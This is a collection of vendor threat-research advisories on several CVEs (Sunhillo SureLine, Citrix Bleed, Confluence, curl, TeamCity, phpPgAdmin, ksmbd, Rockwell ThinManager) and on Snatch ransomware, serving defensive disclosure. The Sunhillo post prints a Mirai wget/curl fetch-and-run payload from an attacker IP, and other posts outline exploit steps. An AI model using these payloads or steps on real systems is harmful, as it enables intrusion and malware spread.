,

Sunhillo SureLine Command Injection Vulnerability

Overview

The SonicWall Capture Labs Threat Research team has analyzed honeypot data which reveals that attackers are actively exploiting an old vulnerability found in Sunhillo SureLine devices. They are specifically taking advantage of a command injection flaw within these devices. The Sunhillo SureLine software is designed to further process surveillance data such as format conversion and data filtering as it is transported in real time.

A critical vulnerability identified as CVE-2021-36380 with a CVSS score of 9.8 was discovered in the Sunhillo SureLine software application. The vulnerability is an unauthenticated operating system (OS) command injection flaw, which could allow an attacker to execute arbitrary commands with root privileges. This could lead to a complete compromise of the target system, enabling the attacker to cause a denial of service or establish persistence on the network. To mitigate this vulnerability, it is strongly recommended that users update Sunhillo SureLine software to at least version 8.7.0.1.1 as SonicWall is seeing an increased number of exploitation in the wild.

CVE Details

This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2021-36380
The overall CVSS score is 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Base score is 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), based on the following metrics:

  • Attack vector is network.
  • Attack complexity is low.
  • Privileges required is none.
  • User interaction is none.
  • Scope is unchanged.
  • Impact of this vulnerability on data confidentiality is high.
  • Impact of this vulnerability on data integrity is high.
  • Impact of this vulnerability on data availability is high.

Technical Overview

Sunhillo SureLine versions before 8.7.0.1.1 contain an unauthenticated OS command injection vulnerability through the ipAddr or dnsAddr parameters within the networkDiag.cgi script.
This script allows user-provided data to be directly inserted into a shell command via ipAddr or dnsAddr parameters. This makes it possible for an attacker to influence the command's behavior by injecting valid OS command inputs.

Triggering the Vulnerability

To trigger the vulnerability, an attacker sends a specially crafted POST request to the webserver at the URL /cgi/networkDiag.cgi . Within this request, the attacker needs to insert a Linux command as part of the ipAddr or dnsAddr POST parameters. When the webserver processes the POST request, the command the attacker has inserted into the parameter will be executed. The lack of authentication makes it easier for an attacker to exploit this vulnerability.

Exploitation

The following POST request demonstrates how the vulnerability is being exploited in the wild:

The POST request has a malicious payload designed to exploit the vulnerability. It attempts to download a script "l.sh" from the remote server "194.180.48.100" to the "/tmp" directory on the target system using both "wget" and "curl." After downloading the script, it is executed using the "sh" command. Let's breakdown the payload:

  • cd /tmp: Changes the current directory to "/tmp."
  • wget httpx://194.180.48.100/l.sh: Downloads the "l.sh" script from the specified URL.
  • curl -O httpx://194.180.48.100/l.sh: Downloads the "l.sh" script using "curl" with the "-O" option.
  • sh l.sh: Executes the downloaded "l.sh" script using the "sh" command.

Looking up the attacker-controlled server on VirusTotal, we see that the URL (Figure 1) and the script l.sh (Figure 2) are marked as malicious and are used by the Mirai botnet.

Figure 1

Figure 2

Figure 2

Mirai is a malware that created a big botnet of networked devices running Linux making them remotely controlled bots that can be used for large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers.

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signature has been released:

  • IPS 15931: Sunhillo SureLine Command Injection

Threat Graph


Recent indications of increased signature hits point to an ongoing exploitation of this vulnerability in real-world scenarios. It appears that the Mirai botnet has expanded its scope to target vulnerable Sunhillo devices for the distribution of malware.

IOCs

  • SHA256: c8cf29e56760c50fa815a0c1c14c17641f01b9c6a4aed3e0517e2ca722238f63 (l.sh)
  • Known Malicious C2: 194.180.48.100

Remediation Recommendations 

To mitigate this vulnerability, it is strongly recommended to update Sunhillo SureLine devices to at least version 8.7.0.1.1. This update will address the security issue and improve the overall system's resilience against such exploits.

Relevant Links

https://nvd.nist.gov/vuln/detail/CVE-2021-36380
https://research.nccgroup.com/2021/07/26/technical-advisory-sunhillo-sureline-unauthenticated-os-command-injection-cve-2021-36380/

/by
, ,

Citrix Bleed: Leaking Session Tokens Vulnerability

Overview

SonicWall Capture Labs Threat Research Team became aware of the threat Citrix Bleed, assessed its impact and developed mitigation measures for the vulnerability.

Citrix NetScaler is an Application Delivery Controller (ADC) and load balancer designed to enhance the performance and security of web-based applications. Produced by Citrix Systems, NetScaler ensures the swift, reliable and secure delivery of applications to devices everywhere. It combines advanced traffic management, application security, content switching and optimization features in one platform.

Citrix NetScaler, encompassing both ADC and NetScaler Gateway, recently came under scrutiny for a vulnerability identified as CVE-2023-4966. As of October 18th, CISA has reported active exploitation of this vulnerability. This flaw pertains to a sensitive information disclosure that can occur when the system is set up as a Gateway (encompassing VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or an AAA "virtual" server. Notably, the vulnerability corresponds to CWE-119, which is described as "improper restriction of operations within the bounds of a memory buffer". In some configurations, the sensitive information disclosed can include a valid session token.

The affected versions are:
  • NetScaler ADC and NetScaler Gateway 14.1 before 14.1-8.50
  • NetScaler ADC and NetScaler Gateway 13.1 before 13.1-49.15
  • NetScaler ADC and NetScaler Gateway 13.0 before 13.0-92.19
  • NetScaler ADC 13.1-FIPS before 13.1-37.164
  • NetScaler ADC 12.1-FIPS before 12.1-55.300
  • NetScaler ADC 12.1-NDcPP before 12.1-55.300

This vulnerability has been patched by Citrix on October 10th and can be mitigated by upgrading to the latest version of NetScaler.

CVE Details

This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-4966.

The overall CVSS score is 9.4 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L/E:X/RL:X/RC:X).

Base score is 9.4 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L), based on the following metrics:
  • Attack vector is network.
  • Attack complexity is low.
  • Privileges required is none.
  • User interaction is none.
  • Scope is unchanged.
  • Impact of this vulnerability on data confidentiality is high.
  • Impact of this vulnerability on data integrity is high.
  • Impact of this vulnerability on data availability is Low.
Temporal score is N/A (E:X/RL:X/RC:X), based on the following metrics:
  • The exploit code maturity level of this vulnerability is Not Defined.
  • The remediation level of this vulnerability is Not Defined.
  • The report confidence level of this vulnerability is Not Defined.

Technical Overview

In an effort to pinpoint the vulnerability, a comparative analysis was conducted between the two specific versions of the software: the older 13.1-48.47 and the newer 13.1-49.15. By meticulously examining the differences and updates between these versions, we were able to identify the exact location of the patch and gain a deeper understanding of the vulnerability's nature. In Figure 1 the differences can be seen by using the tool BinDiff.

Figure 1

The ns_vpn_process_unauthenticated_request function has been meticulously crafted to build and validate the URL /oauth/idp/.well-known/openid-configuration. Within its implementation, there is a significant call to ns_aaa_oauth_send_openid_config, which makes use of the snprintf function as seen in Figure 2.

Figure 2

The primary role of this function is to format and populate the print_temp_rule buffer with a series of characters and values. Delving into its specifics: the destination buffer is print_temp_rule, and it has a Maximum Size of 0x20000, which is equivalent to roughly 128 KB. The format string, a comprehensive JSON object, as seen in Figure 3, details the OpenID Connect configuration.

Figure 3

The snprintf as seen in Figure2, employs multiple %.*s format specifiers which expect a length and a string as paired arguments. These specifiers are used to define various OAuth and OpenID Connect endpoints, with the base URL or domain inferred from the variable host_string. To shed light on the arguments (figure 2): length denotes the length of the host_string and ensures only up to length characters from host_string are printed. The host_string reference is the base URL or domain that fills in the respective URLs in the JSON.

In the aftermath of this operation, not_size_buffer will hold the count of characters intended for print_temp_rule, excluding the null byte, if there were no buffer constraints. This behavior of snprintf is typical: It returns the number of characters it aims to write, irrespective of the size limit that might truncate the actual write-up. Thus, not_size_buffer captures the length of the fully constructed JSON string.

This function's design intricacies go beyond just formatting; there's a security facet to it. Initially, the function would instantly send out the response. But in its patched form, a response is dispatched only if snprintf yields a value less than 0x20000.

There's a vulnerability in how the return value of snprintf is used to determine how many bytes are sent to the client through ns_vpn_send_response. Contrary to what one might expect, snprintf doesn't return the number of bytes it actually writes to the buffer. Instead, it returns the number it would have written if the buffer was large enough. This is where the security risk comes into play. The return value is being incorrectly used as the number of bytes written to the buffer.

Triggering the Vulnerability

  • The target must be running NetScaler Citrix Firmware version prior to 13.1-49.15.
  • The attacker must have network access to the vulnerable software.
  • Sending a GET request to the endpoint: /oauth/idp/.well-known/openid-configuration,
containing Host: a (any 'char' to the power of 24,576).

Exploitation

To exploit this vulnerability, the attacker’s goal is to generate a response that exceeds a buffer size of 0x20000 bytes. If successful, the application would send not only the filled buffer but also the memory following the print_temp_rule buffer, potentially exposing sensitive data or causing other unexpected issues. Proof of concept code has been published and active exploitation of this vulnerability has been reported by CISA on October 18th. Included in the leaked information, depending on the appliance’s configuration, is a 65 byte long hex string which is a valid session cookie. As a resulted an attacker can use this session key to impersonate an active user.

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signatures have been released:

  • IPS:4130 NetScaler ADC/Gateway Information Disclosure

Remediation Recommendations

The risks posed by this vulnerability can be mitigated or eliminated by:
  • Applying the vendor-supplied patch to eliminate this vulnerability.
  • Utilizing up-to-date IPS signatures to filter network traffic.
  • Alternatively, consider taking the server offline.

Relevant Links

  • CVE-2023-4966
  • CNA CVSS Metrics
  • Vendor Advisory
  • Citrix Bleed
  • Public POC

/by
,

Atlassian Confluence Data Center and Server Broken Access Control Vulnerability

Overview

The SonicWall Capture Labs Threat Research team has observed attackers targeting a critical vulnerability affecting on-premises instances of Confluence Server and Confluence Data Center allowing unauthorized users to get administrative-level privileges by creating unauthorized Confluence administrator accounts. The vulnerability is categorized as a Broken Access Control issue and has a CVSS base score of 10.0. CISA has warned that nefarious activists exploited CVE-2023-22515 as a zero-day to retrieve legitimate access over victim systems. Atlassian described this vulnerability initially as Privilege Escalation but later categorized it as Broken Access Control and released an advisory on October 4th, 2023 for CVE-2023-22515. The vendor has classified this vulnerability as Broken Authentication and Session Management (BASM). Atlassian Cloud sites are not affected by this vulnerability. Vulnerable software versions include 8.0.0-8.0.3, 8.1.0, 8.1.3-4, 8.2.0-8.2.3, 8.3.0-8.3.2, 8.4.0-8.4.2, 8.5.0-1.

CVE Details

This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-22515.

The overall CVSS score is 10. (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C).

The base score is 10 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H), based on the following metrics:

  •Attack vector is network.
  •Attack complexity is low.
  •Privileges required is none.
  •User interaction is none.
  •Scope is changed.
  •Impact of this vulnerability on data confidentiality is high.
  •Impact of this vulnerability on data integrity is high.
  •Impact of this vulnerability on data availability is high.

Temporal score is 9.4 (E:P/RL:O/RC:C), based on the following metrics:

  •The exploit code maturity level of this vulnerability is proof of concept code.
  •The remediation level of this vulnerability is official fix.
  •The report confidence level of this vulnerability is confirmed.

Technical Overview

Atlassian Confluence Data Center is a self-managed edition of Confluence, built to support organizations’ size, complexity and governance needs.

To trigger the vulnerability, an unauthenticated attacker can modify the Confluence server’s configuration to indicate the setup is not complete and use the /setup/setupadministrator.action endpoint to create a new administrator user. The vulnerability is triggered via a single request using the URI /server-info.action endpoint

Exploitation

CVE-2023-22515 can be exploited in a series of steps. The followings steps will demonstrate how RCE is obtained on Atlassian Crowd:

Before manipulating the parameters let us first observe a basic login request.

Next, we can trick the server into believing the configuration hasn’t been completed by setting “applicationConfig.setupComplete” to false.

Once the server believes setup is complete, we can use the setupadministrator.action to try and create an administrative level account passing the desired username and password.

As a result of the last request, a new account is created by the attacker that will allow a successful login to attempt with the attacker’s credentials.

 

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signatures have been released:
  • IPS:15926 - Confluence Data Center and Server Privilege Escalation
  • IPS:19383 - Confluence Data Center and Server Privilege Escalation 2
  • IPS:19382 - Confluence Data Center and Server Privilege Escalation 3

Threat Graphs

SonicWall sensors have confirmed active exploitation of these vulnerabilities. The graph below indicate an increasing number of exploitation attempts over the last 40 days:

Remediation Recommendations

Admins still running one of the vulnerable software versions should upgrade Confluence Data Center and Data Servers to version 8.3.3 or later, 8.4.3 or later, or 8.5.2 or later.

If that’s not possible, users can mitigate the issue by blocking access to the /setup/* endpoints on Confluence instances. Further steps to mitigate are dictated on an official link.

Relevant Links

/by
,

curl SOCKS5 Heap overflow Vulnerability

SonicWall Capture Labs Threat Research Team became aware of the threat, assessed its impact, and developed mitigation measures for the curl SOCKS5 heap buffer overflow vulnerability released this week.

Overview

Client URL, or curl, and its library version libcurl are one of the most popular and integrated command line tools for data transfer. They support a wide range of protocols such as HTTP, HTTPS, SMTP and FTP and enable the user to make requests to a URL while handling all standard components of requests such as cookies, authentication and proxies. On October 11, a high-severity heap-based buffer overflow vulnerability was publicly disclosed in curl versions 7.69.0 to, and including, 8.3.0. For an attacker to leverage this vulnerability, they would need to control the hostname being accessed by curl through a SOCKS5 proxy, and the server would need to respond “slowly.” Typical server latency is likely slow enough to trigger this vulnerability without needing a DoS attack or SOCKS server control. It is recommended that all instances of curl and libcurl be updated to version 8.40. Currently, it is suspected, yet not proven, that this flaw can lead to remote code execution. Due to the restraints required for exploitation, it is currently unclear what the likelihood of exploitation in the wild is at this time.

CVE Details

This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-38545.
The overall CVSS score is 7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). Base score is 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H), based on the following metrics:

  • Attack vector is network.
  • Attack complexity is low.
  • Privileges required is none.
  • User interaction is none.
  • Scope is unchanged.
  • Impact of this vulnerability on data confidentiality is none.
  • Impact of this vulnerability on data integrity is none.
  • Impact of this vulnerability on data availability is high.

Technical Overview

SOCKS5 is a proxy protocol for setting up network communication via a dedicated middle application. Tor uses the protocol and is often used to bypass internet restrictions or access blocked websites. When attempting to resolve a DNS name, SOCKS5 has two different resolvers: Either the client resolves the hostname locally and passes on the destination as a resolved address, or the client passes on the entire host name to the proxy and the proxy itself resolves the host remotely. Ultimately the curl vulnerability exists when a hostname larger than 255 bytes is attempted to be resolved by the local resolve mode. This can be seen from the source code in the image below. If the SOCKS5 server is delayed in its response, the curl state machine returns with the local resolver selected, but the next time the curl state machine is called, it has no knowledge of the hostname’s length. It now tries first to resolve the name using the remote resolver by building a protocol frame in a memory buffer assuming the name is less than 255 bytes and then copying the destination hostname to the too-small buffer. It\'s also important to consider the conditions which allow this code path to be taken. libcurl uses a variable named CURLOPT_BUFFERSIZE to determine how large to allocate the download buffer. By default, the curl tool sets CURLOPT_BUFFERSIZE to 100kB and is therefore not vulnerable. An overflow is only possible in applications that do not set CURLOPT_BUFFERSIZE or set it smaller than 65541.

Triggering the Vulnerability

To trigger this vulnerability, curl needs to access a long hostname through a SOCKS5 proxy. For testing, this can be set up through a locally running Python SOCKS5 proxy server. A single curl command (using version 7.74) can be sent to trigger a segmentation fault. Running the same setup with the addition of GDB monitoring curl, it is possible to see the backtrace and exact vulnerability conditions. This highlights that the vulnerability exists within the resolvers. A segmentation fault occurs when the contents of register $RDI are attempted to be resolved as a pointer. Consider the disassembly from GDB below at the point of the segmentation fault: By inspecting the value of $RDI, it is possible to see the heap buffer overflow has caused the register to be overwritten.

Exploitation

Currently, it hasn’t been proven that this vulnerability can be turned into a fully functional, weaponizable exploit; however, considering the nature of memory corruption, depending on compiled time and runtime migrations in place, it is likely that a weaponizable exploit is possible. One possible method of exploitation, as outlined by Daniel Stenberg, would be for an attacker to leverage an HTTP 30x redirect response over a SOCKS5 proxy. The response would contain a location header, which would include a malicious hostname that is longer than 16KB.

SonicWall Protections

To ensure SonicWall customers are prepared for any exploitation that may occur due to this vulnerability, the following signature has been released:

  • IPS 15927 : SOCKS5 Heap Buffer Overflow

Remediation Recommendations

To mitigate or eliminate the risk posed by this vulnerability, it is recommended to:

  • Upgrade curl to version 8.4.0 or
  • Apply the patch to your local version or
  • Do not use CURLPROXY_SOCKS5_HOSTNAME proxies type with curl

Relevant Links

/by
, ,

JetBrains TeamCity Authentication Bypass Vulnerability

Overview

SonicWall Capture Labs Threat Research Team became aware of the threat, assessed its impact, and developed mitigation measures for JetBrains TeamCity Server.

JetBrains TeamCity, a robust continuous integration (CI) and continuous deployment (CD) server, hails from the creators of renowned tools IntelliJ IDEA and PyCharm. TeamCity offers a comprehensive suite of features that enable development teams to automate their build and deployment processes, adhere to agile practices, and extract detailed analytics. Its adaptability, rooted in its versatile plugin system and support for various version control systems, positions it as a top choice for many developers.

A critical vulnerability, allowing authentication bypass and leading to remote code execution (RCE), was identified in JetBrains TeamCity. Versions prior to 2023.05.4 are vulnerable due to a misconfiguration in the RequestInterceptors constructor. This flaw meant that any incoming HTTP request matching the wildcard path /**/RPC2 would bypass authentication.

Attackers can exploit this vulnerability by sending a single HTTP POST request to the server. Successful exploitation would enable unauthorized individuals to execute arbitrary code on the TeamCity server.

CVE Details

This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-42793.

The overall CVSS score is 8.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C).

Base score is 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), based on the following metrics:
  • Attack vector is network.
  • Attack complexity is low.
  • Privileges required is none.
  • User interaction is none.
  • Scope is unchanged.
  • Impact of this vulnerability on data confidentiality is high.
  • Impact of this vulnerability on data integrity is high.
  • Impact of this vulnerability on data availability is high.
Temporal score is 8.8 (E:P/RL:O/RC:C), based on the following metrics:
  • The exploit code maturity level of this vulnerability is proof of concept code.
  • The remediation level of this vulnerability is official fix.
  • The report confidence level of this vulnerability is confirmed.

Technical Overview

This configuration file buildServerSpringWeb.xml establishes interceptors, notably the calledOnceInterceptors bean, which manipulates incoming HTTP requests. This bean leads to the instantiation of the jetbrains.buildServer.controllers.interceptors.RequestInterceptors class, which features the wildcard path /**/RPC2. On instantiation, it integrates several beans, including the authorizedUserInterceptor, into its myInterceptors list.

The RequestInterceptors class is pivotal in handling HTTP requests via its preHandle method. If requestPreHandlingAllowed returns false, authentication checks are bypassed. However, if true, all interceptors in myInterceptors ensure authentication. The vulnerability emerges when requests match the wildcard path /**/RPC2, bypassing the typical authentication processes of the myInterceptors list.

To exploit this flaw, attackers target TeamCity’s REST API. Decompiling this library reveals the REST API's method-to-URI mapping using the @Path annotation. This permits URIs ending with /RPC2, evading authentication. By zeroing in on the createToken method in the jetbrains.buildServer.server.rest.request.UserRequest class, attackers can forge requests, securing an Administrator authentication token, and granting wide-ranging access to the REST API.

Triggering the Vulnerability

  • The target must be running a JetBrains TeamCity version prior to 2023.05.4.
  • The attacker must have network access to the vulnerable software.
  • A valid HTTP POST request containing /**/RPC2 with a valid ID='n' URI.

Exploitation

As demonstrated in the video below, this vulnerability can be exploited using a single HTTP or HTTPS POST request. This request will ask the server to provide an authentication token for a specific user. Therefore, contained within the request, the attacker must specify a user for the token to be generated. This is done using the “id” parameter in the URI. While an attacker can specify any user, the user "id" of 1 will always be the Administrator user created during system installation and, therefore a prime candidate for an attacker to leverage. A successful POST request will return an XML token object named “RPC2“ containing a “value” parameter holding a valid authentication token.

SonicWall Protections

  • IPS:15923 JetBrains TeamCity Authentication Bypass

Remediation Recommendations

The risks posed by this vulnerability can be mitigated or eliminated by:
  • Updating to version 2023.05.4 or newer of TeamCity.
  • Review JetBrains latest released security patch plugin.
  • Utilize up-to-date IPS signatures to filter network traffic.
  • Alternatively, consider taking the server offline.

Relevant Links

  • JetBrain Homepage
  • CVSS Calculator Metrics
  • Vendor Advisory
  • CVE Listing

/by
, ,

phpPgAdmin Deserialization Vulnerability

Overview:

  SonicWall Capture Labs Threat Research Team has observed the following threat:

  phpPgAdmin is an open-source, web-based administration tool for managing PostgreSQL, an advanced, enterprise-class, and open-source relational database system. phpPgAdmin is written in PHP and provides a user-friendly interface that allows users to perform various database management tasks. Users can create, modify, and delete databases, tables, and records through this interface, making it a valuable tool for those who prefer a graphical user interface over command-line interaction.

  It has been reported that phpPgAdmin 7.14.4 and earlier versions have a deserialization vulnerability. Deserialization vulnerabilities occur when an application unsafely processes external input during the deserialization process, potentially leading to code execution, denial of service, or elevation of privileges. This vulnerability underscores the importance of using secure coding practices and regularly updating software to protect against known vulnerabilities.

  Vendor Homepage

CVE Reference:

  This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-40619.

  CVE Listing

Common Vulnerability Scoring System (CVSS):

  The overall CVSS score is 8.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C).

  Base score is 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H), based on the following metrics:
    • Attack vector is network.
    • Attack complexity is low.
    • Privileges required is none.
    • User interaction is none.
    • Scope is unchanged.
    • Impact of this vulnerability on data confidentiality is high.
    • Impact of this vulnerability on data integrity is high.
    • Impact of this vulnerability on data availability is high.
  Temporal score is 8.8 (E:P/RL:O/RC:C), based on the following metrics:
    • The exploit code maturity level of this vulnerability is proof of concept code.
    • The remediation level of this vulnerability is official fix.
    • The report confidence level of this vulnerability is confirmed.

  CVSS Calculator Metrics

Technical Overview:

  The doEmpty function in the tables.php file is responsible for emptying tables in a database, and it is designed to handle both single and multiple table emptying operations. It works by taking user input from the $_REQUEST['ma'] or $_REQUEST['table'] global variables, which are populated by the client through HTTP GET or POST requests. When multiple tables are specified through $_REQUEST['ma'], the function iterates over each table, unserializes the user input, and performs the emptying operation on each specified table. The use of the unserialize function here is critical as it exposes a potential security vulnerability known as PHP Object Injection due to the way it handles serialized objects.

  

  PHP Object Injection vulnerabilities occur when user-supplied input is passed to the unserialize function, which can result in the instantiation of objects and the execution of the magic method __wakeup. In this specific case, the user could potentially pass a serialized object with a malicious __wakeup method to the $_REQUEST['ma'] variable, leading to the execution of arbitrary PHP code. This could allow an attacker to perform various malicious activities, such as executing system commands, creating, deleting, or modifying files, or even launching attacks against other systems. Consequently, the use of unserialize on user-supplied data in this function poses a severe security risk and could lead to a full server compromise if exploited successfully.

  To mitigate the risks associated with this vulnerability, it is crucial to avoid using the unserialize function on user-supplied input. Instead, alternative methods for handling user data, such as JSON encoding and decoding, should be employed. Additionally, input validation and sanitization should be implemented to ensure that only expected and safe data is processed by the application.

Triggering the Problem:

  • The target system must have the vulnerable product installed and running.
  • The attacker must have network connectivity to the affected ports.
  • The attacker must send malicious serialized payloads to the tables.php endpoint.
  • The query string parameter 'ma' is used to trigger the 'unserialize' function by injecting serialized data.

Triggering Conditions:

  The unserialize() deserialization vulnerability in PHP occurs when the unserialize() function is passed user input without adequate validation, consequently triggering magic methods like __wakeup() or __destruct() in an object-oriented context. These magic methods are invoked automatically during deserialization, providing an avenue for attackers to execute malicious code or carry out other harmful activities. The vulnerability underscores the importance of validating or sanitizing user input and avoiding the use of unserialize() with untrusted data, to prevent potential exploitation.

Attack Delivery:

  The following application protocols can be used to deliver an attack that exploits this vulnerability:
    • HTTP
    • HTTPS

  

SonicWall's, (IPS) Intrusion Prevention System, provides protection against this threat:

  • IPS:15919 phpPgAdmin Insecure Deserialization

Remediation Details:

  The risks posed by this vulnerability can be mitigated or eliminated by:
    • Configure the vulnerable product to allow access to trusted clients only.
    • Update to a non-vulnerable version of the product.
    • Filter attack traffic using the signature above.
  A Third Party has released the following advisory regarding this vulnerability:
  Third Party Advisory

/by
, , ,

A look at the latest Snatch Ransomware

This week, the Sonicwall Capture Labs Research team analyzed the latest Snatch ransomware. Snatch operates as a ransomware-as-a-service (RaaS), a business model where the malware authors lease out the ransomware program to affiliates who then launch the attacks.

Infection Cycle:

The malware file  arrives as an executable  using a random name such as:

  • rljybc.exe

This ransomware is written in Go language and is apparent in the many references to Go packages in its strings.

go lang packages

Upon execution it creates multiple copies of the same batch file into the %temp% directory:

Simultaneously it also writes a randomly named file with a .dll extension that appears to be a library file.

But upon careful inspection, it actually was a log file of its execution showing files it had accessed and created.

The batch file created is used to run commands to delete shadow copies and to disable certain services that are related to Antivirus, back up software, database, email among many others.

It appends “.lqepjhgjczo” extension to all files it encrypts and adds the ransomware note to every directory in the system.

The ransom note only lists email addresses on how to reach the malware authors and no amount of ransom is mentioned. Presumably, this amount may vary depending on their victim and how disruptive the attack would cost a business or an organization.

SonicWall Capture Labs provides protection against this threat via the following signature:

  • GAV: Snatch.RSM_13  (Trojan)

This threat is also detected by SonicWALL Capture ATP w/RTDMI and the Capture Client endpoint solutions.

/by
, ,

Linux Kernel KSMBD NULL Pointer Dereference Vulnerability

Overview:

  SonicWall Capture Labs Threat Research Team has observed the following threat:

  KSMBD is an integral server component within the Linux kernel. Its primary function is to implement the SMBv3 protocol, which is essential for sharing files over a network. Operating in kernel space ensures that KSMBD offers efficient and seamless file sharing capabilities to users of the Linux operating system.

  Recently, a significant vulnerability has been identified in ksmbd. This vulnerability stems from a NULL pointer dereference issue, a critical flaw in the system's architecture. The root cause of this vulnerability is the system's inability to validate user-supplied data adequately, especially when processing compounded requests. Given the importance of ksmbd in the Linux Kernel, this vulnerability raises substantial security concerns.

  The vulnerability provides an avenue for remote attackers to compromise the system. By sending specifically crafted packets to the target, which is vulnerable, attackers can exploit this flaw. If they succeed in their exploitation attempt, the aftermath can be detrimental, leading to a denial of service. This means that the targeted system could be rendered inoperable, disrupting its functionality and potentially causing significant downtime.

  Vendor Homepage

CVE Reference:

  This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-3866.

  CVE Listing

Common Vulnerability Scoring System (CVSS):

  The overall CVSS score is 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C).

  Base score is 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H), based on the following metrics:
    • Attack vector is network.
    • Attack complexity is low.
    • Privileges required is none.
    • User interaction is none.
    • Scope is unchanged.
    • Impact of this vulnerability on data confidentiality is none.
    • Impact of this vulnerability on data integrity is none.
    • Impact of this vulnerability on data availability is high.
  Temporal score is 6.5 (E:U/RL:O/RC:C), based on the following metrics:
    • The exploit code maturity level of this vulnerability is unproven.
    • The remediation level of this vulnerability is official fix.
    • The report confidence level of this vulnerability is confirmed.

  CVSS Calculator Metrics

Technical Overview:

  A NULL pointer dereference vulnerability has been identified in the ksmbd kernel module when it processes compounded SMB2 requests. This issue arises because certain pointer validations can be overlooked during the processing of combined SMB2_NEGOTIATE, SMB2_SESSION_SETUP, or SMB2_ECHO requests.

  The internal function, __handle_ksmbd_work, manages these incoming SMB messages. This function invokes smb2_check_user_session() to ensure the SMB2 message contains a valid session ID for the intended operation, and smb2_get_ksmbd_tcon() to check if the SMB2 message has a valid tree ID. Notably, these validations always pass for the aforementioned SMB2 requests since they haven't established a session.

  The vulnerability emerges when the function doesn't account for these SMB2 requests being part of compounded requests. If the NextCommand field in any such SMB2 message isn't set to zero, subsequent SMB2 requests sidestep the validation, potentially leading to a NULL pointer being used in session or tree dereferences.

Triggering the Problem:

  • The vulnerable system must be listening on the vulnerable SMB port, and accept incoming connections.
  • The attacker must have connectivity to the target system.

Triggering Conditions:

  The attacker establishes a connection with the targeted ksmbd server. Once this connection is in place, the server becomes susceptible to the aforementioned threat. The vulnerability is activated when the attacker transmits a compounded request loaded with malicious content to the server in question. It's essential for server administrators to be aware of such vulnerabilities to ensure their systems are adequately protected and to monitor for any unusual connection requests.

Attack Delivery:

  The following application protocols can be used to deliver an attack that exploits this vulnerability:
    • SMB/CIFS
  

SonicWall's, (IPS) Intrusion Prevention System, provides protection against this threat:

  • IPS: 4022 Linux Kernel ksmbd NULL Pointer Dereference 1
  • IPS: 19332 Linux Kernel ksmbd NULL Pointer Dereference 2
  • IPS: 19333 Linux Kernel ksmbd NULL Pointer Dereference 3

Remediation Details:

  The risks posed by this vulnerability can be mitigated or eliminated by:
    • Configure the vulnerable product to allow access to trusted clients only.
    • Update to a non-vulnerable version of the product.
    • Filter attack traffic using the signatures above.
  The vendor has released the following commit regarding this vulnerability:
  Vendor Advisory

/by
, ,

Rockwell Automation Integer Overflow Vulnerability

Overview:

  SonicWall Capture Labs Threat Research Team has observed the following threat:

  Rockwell Automation's ThinManager is designed for managing thin clients, mobile devices, cameras, and industrial devices. Comprising both client and server components, the client facilitates device configuration while the server handles data transfer and client requests. To maintain data consistency across the system, ThinManager servers synchronize using messages sent via port TCP/2031. These messages, based on a proprietary protocol, are initiated with a Type value, with a notable emphasis on Type 13 messages.

  A significant vulnerability, specifically an integer overflow, has been identified in the Rockwell Automation ThinManager ThinServer. The root of this vulnerability is tied to the improper validation of input, particularly when processing Type 13 synchronization messages.

  This vulnerability is not merely a theoretical concern. In practical terms, a remote attacker, even without authentication, could harness this flaw. By dispatching a specially crafted request to the targeted server, they could exploit this vulnerability. If successful, the outcome could be severe, leading to a potential denial of service for the affected system.

  Vendor Homepage

CVE Reference:

  This vulnerability has been assigned the Common Vulnerabilities and Exposures (CVE) identifier CVE-2023-2914.

  CVE Listing

Common Vulnerability Scoring System (CVSS):

  The overall CVSS score is 7.7 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H/E:P/RL:O/RC:C).

  Base score is 8.6 (AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H), based on the following metrics:
    • Attack vector is network.
    • Attack complexity is low.
    • Privileges required is none.
    • User interaction is none.
    • Scope is changed.
    • Impact of this vulnerability on data confidentiality is none.
    • Impact of this vulnerability on data integrity is none.
    • Impact of this vulnerability on data availability is high.
  Temporal score is 7.7 (E:P/RL:O/RC:C), based on the following metrics:
    • The exploit code maturity level of this vulnerability is proof of concept.
    • The remediation level of this vulnerability is official fix.
    • The report confidence level of this vulnerability is confirmed.

  CVSS Calculator Metrics

Technical Overview:

  The vulnerability arises due to the unchecked value in the "Length of data" field. Specifically, this value is added to the current position pointer, which is set at 12 (0xC), without any prior verification.

